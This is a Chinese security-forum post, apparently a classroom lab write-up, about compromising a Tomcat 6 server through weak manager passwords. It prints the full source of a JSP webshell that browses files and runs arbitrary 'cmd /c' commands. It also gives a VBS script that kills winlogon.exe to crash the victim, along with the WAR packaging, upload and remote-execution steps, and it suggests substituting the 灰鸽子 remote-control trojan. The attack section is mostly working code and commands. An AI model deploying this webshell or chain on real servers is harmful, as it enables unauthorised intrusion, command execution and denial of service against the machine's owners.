用户
搜索
  • TA的每日心情
    开心
    昨天 07:40
  • 签到天数: 66 天

    连续签到: 66 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    36

    主题

    79

    帖子

    1704

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2020-10-2
    发表于 2021-4-28 21:10:59 111388
    说在前面
    早期Tomcat服务器上的管理员后台的密码都过于简单,如“admin”,“123456”,如此很容易被攻击者利用,并上传木马到服务器上面,从而感染服务器主机。


    实验内容

    1、在XP系统上搭建Tomcat服务器平台;
    2、在另一台虚拟机上利用弱口令漏洞上传木马程序,使得XP系统中木马。

    实验步骤

    一、搭建Tomcat服务器平台


    1.安装JAVAJDK


    环境变量的配置:(这里我的JAVA是按照默认安装地址安装的)
    JAVA_HOME:C:\Program Files\Java\jdk1.7.0_79
    Path:%JAVA_HOME%\bin
    CLASSPATH:.%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar


    Cmd输入命令查看

    输入:java –version,检查是否安装成功。


    1.png


    输入:javac,检查环境变量配置是否成功。



    2.png


    2.安装Apache-Tomcat服务器


    将压缩包解压,把整个文件夹拷贝至C盘。(免安装)
    添加环境变量:
    TOMCAT_HOME:C:\apache-tomcat-6.0.37
    进入bin目录,点击startup.bat或者shutdown.bat可以启动或关闭服务器。


    若测试不成功,则需添加完整的环境变量。(可选不是必选)

    3.png

    点击startup.exe,启动服务器,在浏览器中输入:http://127.0.0.1:8080/,若显示如下界面,则服务器启动成功。


    4.png

    二、登录管理员后台


    登录管理员后台需要用户名密码,刚开始未设置,我们要自行设置。

    5.png

    首先查看存放用户名密码的文件:在conf文件夹下的tomcat-users.xml,用记事本打开。将管理员账号添加进去:
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status"/>

    其中各个rolename的含义:

    6.png

    点击保存后重启服务器,回到登录界面,输入用户名密码,即可进入管理员界面:

    7.png

    三、木马制作


    Tomcat只支持war的后缀文件包的上传,因此,必须将jsp木马程序与其他木马一起打包成war包才能上传。
    在安装有JDK的操作系统上,将所需要上传的木马放在同一个文件夹中,存放到C盘。
    这里用到一个s.jsp的木马程序以及V.vbs病毒程序。


    这里s.jsp的代码:
    [AppleScript] 纯文本查看 复制代码
    <%@ page contentType="text/html;charset=gb2312"%> 
    <%[url=home.php?mod=space&uid=157936]@Page[/url] import="java.io.*" %> 
    <%@page import="java.util.*"%> 
    <style> 
    td,select,input,body 
    { 
    font-size:9pt; 
    } 
    A { TEXT-DECORATION: none } 
    </style> 
    <title>Jsp File Manger Version0.5 --bY 慈勤强 [email]cqq1978@Gmail.com[/email]</title> 
    <%! 
    String getDrivers() 
    /** 
    Windows系统上取得可用的所有逻辑盘 
    **/ 
    { 
    StringBuffer sb=new StringBuffer("驱动器 : "); 
    File roots[]=File.listRoots(); 
    for(int i=0;i<roots.length;i++) 
    { 
    sb.append("<a href='?path="+roots[i]+"'>"); 
    sb.append(roots[i]+"</a>   "); 
    } 
    return sb.toString(); 
    } 
    %> 
    <% 
    String strThisFile="folder.jsp"; 
    request.setCharacterEncoding("gb2312"); 
    String strDir = request.getParameter("path"); 
    
    if(strDir==null||strDir.length()<1) 
    { 
    strDir = "c:\\"; 
    } 
    StringBuffer sb=new StringBuffer(""); 
    StringBuffer sbFile=new StringBuffer(""); 
    try 
    { 
    out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录: <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n"); 
    File objFile = new File(strDir); 
    File list[] = objFile.listFiles(); 
    if(objFile.getAbsolutePath().length()>3) 
    { 
    sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>"); 
    sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n"); 
    } 
    for(int i=0;i<list.length;i++) 
    { 
    if(list[i].isDirectory()) 
    { 
    sb.append("<tr><td > </td><td>"); 
    sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>"); 
    sb.append("</td></tr>"); 
    //sb.append("</td></tr></table>\r\n"); 
    } 
    else 
    { 
    String strLen=""; 
    String strDT=""; 
    long lFile=0; 
    lFile=list[i].length(); 
    
    if(lFile>1000000) 
    { 
    lFile=lFile/1000000; 
    strLen="" + lFile + " M"; 
    } 
    else if(lFile>1000) 
    { 
    lFile=lFile/1000; 
    strLen="" + lFile + " K"; 
    } 
    else 
    { 
    strLen="" + lFile + " Byte"; 
    } 
    Date dt=new Date(list[i].lastModified()); 
    strDT=dt.toLocaleString(); 
    sbFile.append("<tr><td>"); 
    sbFile.append(""+list[i].getName()); 
    sbFile.append("</td><td>"); 
    sbFile.append(""+strLen); 
    sbFile.append("</td><td>"); 
    sbFile.append(""+strDT); 
    sbFile.append("</td><td>"); 
    sbFile.append("<!--修改 删除 下载 复制--> "); 
    sbFile.append("</td></tr>\r\n"); 
    //sbFile.append("</td></tr></table>"); 
    } 
    
    } 
    //out.println(sb.toString()+sbFile.toString()); 
    } 
    catch(Exception e) 
    { 
    out.println("<font color=red>操作失败: "+e.toString()+"</font>"); 
    } 
    %> 
    
    
    <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> 
    
    <tr> 
    <td width="25%" align="center" valign="top"> 
    <table width="98%" border="0" cellspacing="0" cellpadding="3"> 
    
    <%=sb%> 
    </tr> 
    </table> 
    </td> 
    <td width="81%" align="center" valign="top"> 
    <table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"> 
    <tr bgcolor="#E7e7e6"> 
    <td width="26%">文件名称</td> 
    <td width="19%" align="center">文件大小</td> 
    <td width="29%" align="center">修改时间</td> 
    <td width="26%" align="center">文件操作</td> 
    </tr> 
    <%=sbFile%> 
    <!-- <tr align="center"> 
    <td colspan="4"><br> 
    总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font> 
    KB </td> 
    </tr> 
    --> 
    </table> 
    </td> 
    </tr> 
    </table> 
    
    <% 
    String strCmd=""; 
    String line=""; 
    StringBuffer sbCmd=new StringBuffer(""); 
    strCmd = request.getParameter("cmd"); 
    if(strCmd!=null) 
    { 
    try 
    { 
    //out.println(strCmd); 
    Process p=Runtime.getRuntime().exec("cmd /c "+strCmd); 
    BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); 
    while((line=br.readLine())!=null) 
    { 
    sbCmd.append(line+"\r\n"); 
    } 
    } 
    catch(Exception e) 
    { 
    System.out.println(e.toString()); 
    } 
    } 
    
    %> 
    <form name="cmd" action="" method="post"> 
    <input type="text" name="cmd" value="<%=strCmd%>" size=50> 
    <input type=submit name=submit value="执行"> 
    </form> 
    <% 
    if(sbCmd!=null && sbCmd.toString().trim().equals("")==false) 
    { 
    %> 
    <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA> 
    <% 
    } 
    %>

    这里V.vbs的代码:
    [AppleScript] 纯文本查看 复制代码
    if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes then
    msgbox "你真是在上网络安全课啊,这么好丫!"
    else
    msgbox "还不承认? 作为惩罚,折腾你一下",64,"严重警告!!!!!!"
    Set ws = CreateObject("Wscript.Shell")
    wscript.sleep 1200
    ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
    end if


    运行cmd,使用cd命令将目录切换到刚刚存放的c文件夹下:


    8.png

    使用命令将木马程序打包:
    jar cvf shell.war *
    若提示jar不是内部命令,请回到JDK安装步骤查看环境变量是否配置正确。
    成功时的命令提示如下:

    9.png

    四、漏洞入侵


    访问目标网站


    使用另一台电脑输入以下网址:
    http://192.168.41.131:8080/(对应IP地址要改)
    访问成功将出现以下界面:


    10.png

    弱口令扫描


    打开Apache Tomcat crack软件,界面如下:


    11.png

    设置扫描网段,点击add按钮添加;点击start按钮开始扫描。扫描成功将获得口令和密码。


    12.png

    上传木马


    利用前面扫描到的口令密码登录管理员网页,将之前做好的war包上传至服务器:


    13.png

    14.png

    查看木马

    在地址栏中输入网址:
    http://192.168.41.131:8080/shell/s.jsp
    即可看到对方电脑中所有的文件目录:

    15.png

    运行木马


    找出之前一并上传的木马文件V.vbs,利用下面的执行功能让其在被害者电脑上运行:
    c:\apache-tomcat-6.0.37\webapps\shell\V.vbs -install

    16.png

    此时在被攻击者电脑上会自运行病毒程序,即中病毒了。也可将病毒用灰鸽子木马替换实现远程控制。


    17.png
    18.png

    点击“否”的话要小心哦,因为电脑会变成“蓝屏”,不过不用怕,其实就蓝屏一会儿就帮你重启啦~不相信可以返回去看V.vbs的代码哦~
















    挺好的,实用
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册